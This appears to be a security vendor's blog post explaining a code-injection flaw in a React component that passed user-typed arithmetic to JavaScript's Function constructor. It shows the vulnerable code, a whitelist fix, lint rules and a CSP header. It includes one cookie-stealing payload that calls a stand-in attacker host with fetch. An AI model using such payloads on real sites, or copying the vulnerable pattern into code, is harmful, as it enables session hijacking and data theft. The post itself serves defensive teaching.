How Unsafe eval() in JavaScript Happens in React Components and How to Fix It
The TurnPlanner.tsx component handles user-entered mathematical expressions — a common UX pattern for planning tools where users type things like 2+3*4 into an input field. But a flaw in the parseInputExpr function, specifically at line 530, turned that convenience into a serious security risk: user input was being passed directly to JavaScript's Function constructor, which is functionally identical to eval(). This post breaks down exactly how the vulnerability works, how it could be exploited in a real web application, and how a single targeted line of code closes the gap.
The Vulnerability Explained
What parseInputExpr Was Doing
The function parseInputExpr is responsible for taking a string value from a user-facing input field and converting it into a number. For simple cases like "42" or "-7", parseFloat is sufficient. But for expressions like "2+3" or "10/2", the original code took a shortcut: it handed the string directly to JavaScript's Function constructor.
Here is the vulnerable code path (before the fix):
function parseInputExpr(v: string): number {
const s = v.trim();
if (s === '' || s === '-') return 0;
if (/[+\-*/]/.test(s) && s.length > 1 && !/^-\d+$/.test(s)) {
try {
const r = Function('return (' + s + ')')(); // ← DANGEROUS
if (typeof r === 'number' && isFinite(r)) return r;
} catch { /* fall through */ }
}
return parseFloat(s) || 0;
}
The guard condition — /[+\-*/]/.test(s) — only checks whether the string contains an arithmetic operator. It does not validate what else the string contains. The moment that condition is satisfied, the raw user string is interpolated into Function('return (' + s + ')')() and executed as live JavaScript.
Why new Function() Is Equivalent to eval()
new Function(body) creates a new function object from a string at runtime. It executes in the global scope, not the local closure, but it is still fully capable of running arbitrary JavaScript. There is no sandboxing. Any valid JavaScript expression or statement can be injected.
A Concrete Attack Scenario
Imagine a user types the following into the TurnPlanner input field:
1+fetch('https://attacker.com/steal?c='+document.cookie)
Let's trace what happens:
1. s = "1+fetch('https://attacker.com/steal?c='+document.cookie)"
2. The regex /[+\-*/]/.test(s) → true (there's a +)
3. s.length > 1 → true
4. !/^-\d+$/.test(s) → true (it's not a simple negative integer)
5. The code executes: Function('return (1+fetch(...))')() → the fetch call fires, sending the user's cookies to an attacker-controlled server
The return value of fetch() is a Promise, not a finite number, so the result check typeof r === 'number' && isFinite(r) fails and execution falls through — but the side effect (the network request, the cookie exfiltration) has already happened.
More aggressive payloads could manipulate the DOM, redirect the user, or exfiltrate application state. In a React application with access to routing, local storage, or authentication tokens, the blast radius is significant.
Real-World Impact
- Session hijacking: Steal authentication cookies or tokens stored in
localStorage - Phishing pivot: Redirect users to a convincing fake login page
- Data exfiltration: Read and transmit application state or form data
- DOM manipulation: Inject fake UI elements to trick users into submitting credentials
Because this runs entirely client-side in the victim's browser, there are no server-side logs to detect the attack in real time.
The Fix
What Changed
The fix adds a single line immediately before the Function constructor call:
if (!/^[0-9+\-*/.() ]+$/.test(s)) return parseFloat(s) || 0;
Here is the full before/after comparison:
Before (vulnerable):
if (/[+\-*/]/.test(s) && s.length > 1 && !/^-\d+$/.test(s)) {
try {
const r = Function('return (' + s + ')')();
if (typeof r === 'number' && isFinite(r)) return r;
} catch { /* fall through */ }
}
After (fixed):
if (/[+\-*/]/.test(s) && s.length > 1 && !/^-\d+$/.test(s)) {
try {
if (!/^[0-9+\-*/.() ]+$/.test(s)) return parseFloat(s) || 0;
const r = Function('return (' + s + ')')();
if (typeof r === 'number' && isFinite(r)) return r;
} catch { /* fall through */ }
}
How the Fix Works
The new regex /^[0-9+\-*/.() ]+$/ is a strict character whitelist. It asserts that the entire string (from ^ to $) consists only of:
| Character class | Purpose |
|---|---|
0-9 |
Digits |
+\-*/ |
Arithmetic operators |
. |
Decimal point |
() |
Grouping parentheses |
|
Spaces |
Any character outside this set — letters, quotes, backticks, semicolons, square brackets — causes the function to bail out immediately with parseFloat(s) || 0, never reaching the Function constructor.
This means payloads like:
- 1+fetch(...) → rejected (contains f, e, t, c, h, etc.)
- alert(1) → rejected (contains a, l, e, r, t)
- 1;import(...) → rejected (contains ;, i, m, etc.)
All legitimate mathematical expressions — 2+3, 10/2.5, (4+6)*2 — pass the whitelist and continue to work as expected.
Why This Approach Is Correct Here
The whitelist is tight enough to block all known injection vectors while preserving the intended functionality of evaluating simple arithmetic. The fix is minimal, scoped to one code path, and does not break the build or existing behavior.
Note for production hardening: The ideal long-term fix is to replace
Functionentirely with a dedicated safe math parser likemathjsorexpr-eval, which parse expressions without executing arbitrary code. The whitelist fix is a strong stopgap, but a purpose-built parser eliminates theFunctionconstructor entirely.
Prevention & Best Practices
1. Never Use eval() or new Function() With User Input
This is the cardinal rule. Both eval(string) and new Function(string) execute arbitrary JavaScript. If you need to evaluate mathematical expressions from user input, use a dedicated parsing library:
// Safe alternative using mathjs
import { evaluate } from 'mathjs';
function parseInputExpr(v: string): number {
try {
const result = evaluate(v);
if (typeof result === 'number' && isFinite(result)) return result;
} catch {
// fall through
}
return parseFloat(v) || 0;
}
2. Whitelist, Don't Blacklist
The original code used a blacklist approach — it tried to identify "safe-looking" inputs by checking for operators. Blacklists are fragile. A whitelist that explicitly permits only the characters you need is far more robust.
3. Lint Rules to Catch This Pattern
Add ESLint rules to flag eval and Function constructor usage:
// .eslintrc
{
"rules": {
"no-eval": "error",
"no-new-func": "error"
}
}
The no-new-func rule specifically targets new Function(...) patterns.
4. Content Security Policy (CSP)
A strict CSP header with script-src 'self' and without 'unsafe-eval' will block eval() and new Function() at the browser level, providing defense in depth even if the code-level fix is bypassed:
Content-Security-Policy: script-src 'self'; object-src 'none';
5. Security Standards References
- OWASP: Injection Prevention Cheat Sheet
- CWE-94: Improper Control of Generation of Code
- CWE-79: Improper Neutralization of Input During Web Page Generation (XSS)
Key Takeaways
- The operator-presence check
/[+\-*/]/inparseInputExprwas not a security control — it was a routing check. It determined which code path to use, not whether the input was safe to execute. new Function(string)iseval()by another name. Any user-controlled string reachingFunction('return (' + s + ')')()is a code injection vulnerability, regardless of surrounding checks.- A character whitelist placed immediately before the dangerous call is the correct pattern when you cannot replace the dynamic evaluation entirely. The fix at line 537 demonstrates this precisely.
- Arithmetic expression evaluation is a common feature in planning tools, calculators, and form fields — and a common source of injection bugs. Always use a purpose-built parser, not
eval. - The
typeof r === 'number' && isFinite(r)check does not prevent exploitation. Side effects (network requests, DOM manipulation) execute before the return value is ever checked.
How Orbis AppSec Detected This
- Source: User-controlled string input passed to
parseInputExpr(v: string)inTurnPlanner.tsx - Sink:
Function('return (' + s + ')')()at line 530 ofsrc/components/TurnPlanner/TurnPlanner.tsx - Missing control: No character whitelist was applied before dynamic code evaluation; the only guard was a regex checking for operator presence, not input safety
- CWE: CWE-94 — Improper Control of Generation of Code ('Code Injection')
- Fix: Added
/^[0-9+\-*/.() ]+$/whitelist check at line 537, causingparseInputExprto fall back toparseFloatfor any input containing non-arithmetic characters
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
The parseInputExpr vulnerability in TurnPlanner.tsx is a textbook example of how a well-intentioned feature — letting users type arithmetic expressions into an input field — can become a serious security hole when the evaluation mechanism is eval()-equivalent. The original regex guard felt like protection but only checked for operator presence, not input safety. The fix is elegant in its simplicity: one line, one whitelist, zero ambiguity. Any character that isn't a digit, operator, decimal, parenthesis, or space never reaches the Function constructor.
For developers building similar features, the lesson is clear: treat new Function() with the same suspicion you'd treat eval(), and always validate user input with a whitelist before any form of dynamic code execution.
References
- CWE-94: Improper Control of Generation of Code
- CWE-79: Cross-Site Scripting (XSS)
- OWASP Injection Prevention Cheat Sheet
- OWASP XSS Prevention Cheat Sheet
- MDN: Function constructor
- mathjs: Safe expression evaluation
- Semgrep rules: javascript.lang.security.detect-eval-with-expression
- fix: remove unsafe eval() in TurnPlanner.tsx